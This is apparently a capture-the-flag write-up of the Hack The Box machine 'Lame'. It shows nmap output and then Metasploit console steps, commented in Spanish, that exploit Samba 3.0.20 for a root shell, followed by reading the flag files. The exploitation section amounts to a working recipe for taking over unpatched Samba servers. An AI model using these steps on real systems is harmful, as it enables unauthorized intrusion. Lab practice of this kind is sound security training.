Post

Lame HTB

Lame HTB

Objective

The objective of this machine is to identify and exploit a Samba vulnerability on the target system to obtain a root shell. Once root access is gained, we will retrieve the user and root flags, demonstrating a typical penetration testing workflow against misconfigured or outdated network services. —

ENUMERATION


Nmap

We run an nmap scan on the machine’s IP (10.10.10.3):

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Scanning 10.10.10.3 [65535 ports]
Discovered open port 21/tcp on 10.10.10.3
Discovered open port 22/tcp on 10.10.10.3
Discovered open port 445/tcp on 10.10.10.3
Discovered open port 139/tcp on 10.10.10.3
Discovered open port 3632/tcp on 10.10.10.3

Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE     REASON         VERSION
21/tcp   open  ftp         syn-ack ttl 63 vsftpd 2.3.4
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.14.11
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp   open  ssh         syn-ack ttl 63 OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBALz4hsc8a2Srq4nlW960qV8xwBG0JC+jI7fWxm5METIJH4tKr/xUTwsTYEYnaZLzcOiy21D3ZvOwYb6AA3765zdgCd2Tgand7F0YD5UtXG7b7fbz99chReivL0SIWEG/E96Ai+pqYMP2WD5KaOJwSIXSUajnU5oWmY5x85sBw+XDAAAAFQDFkMpmdFQTF+oRqaoSNVU7Z+hjSwAAAIBCQxNKzi1TyP+QJIFa3M0oLqCVWI0We/ARtXrzpBOJ/dt0hTJXCeYisKqcdwdtyIn8OUCOyrIjqNuA2QW217oQ6wXpbFh+5AQm8Hl3b6C6o8lX3Ptw+Y4dp0lzfWHwZ/jzHwtuaDQaok7u1f971lEazeJLqfiWrAzoklqSWyDQJAAAAIA1lAD3xWYkeIeHv/R3P9i+XaoI7imFkMuYXCDTq843YU6Td+0mWpllCqAWUV/CQamGgQLtYy5S0ueoks01MoKdOMMhKVwqdr08nvCBdNKjIEd3gH6oBk/YRnjzxlEAYBsvCmM4a0jmhz0oNiRWlc/F+bkUeFKrBx/D2fdfZmhrGg==
|   2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAstqnuFMBOZvO3WTEjP4TUdjgWkIVNdTq6kboEDjteOfc65TlI7sRvQBwqAhQjeeyyIk8T55gMDkOD0akSlSXvLDcmcdYfxeIF0ZSuT+nkRhij7XSSA/Oc5QSk3sJ/SInfb78e3anbRHpmkJcVgETJ5WhKObUNf1AKZW++4Xlc63M4KI5cjvMMIPEVOyR3AKmI78Fo3HJjYucg87JjLeC66I7+dlEYX6zT8i1XYwa/L1vZ3qSJISGVu8kRPikMv/cNSvki4j+qDYyZ2E5497W87+Ed46/8P42LNGoOV8OcX/ro6pAcbEPUdUEfkJrqi2YXbhvwIJ0gFMb6wfe5cnQew==
139/tcp  open  netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn syn-ack ttl 63 Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open  distccd     syn-ack ttl 63 distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))

We see port 21 is open for the Anonymous session but when we enter, we don’t find anything interesting.

Next, we see ports 139 and 445 running Samba version 3.0.20. We check dbexploit to see if it is vulnerable, and it is.


EXPLOTATION


We use Metasploit.

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msfconsole #Iniciamos metasploit
search samba 3.0.20 #Buscamos los exploits.
use 0 #Elegimos el que vamos a usar.
options #Vemos lo que necesita para correr.
#En este caso necesita el RHOSTS y el LHOST
set RHOSTS 10.10.10.3 #Máquina que contiene el samba y queremos vulnerar.
set LHOST (nuestra ip).
run.

It gives us a shell as root. Steps to get the flags:

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whoami #Vemos que somos root.
cat /root/root.txt #Nos devuelve la flag directamente
cat /home/makis/user.txt #Nos devuelve la flag del usuario

Notes

Always check the versions of FTP and Samba before enumerating because if they have known vulnerabilities, it saves a lot of time.

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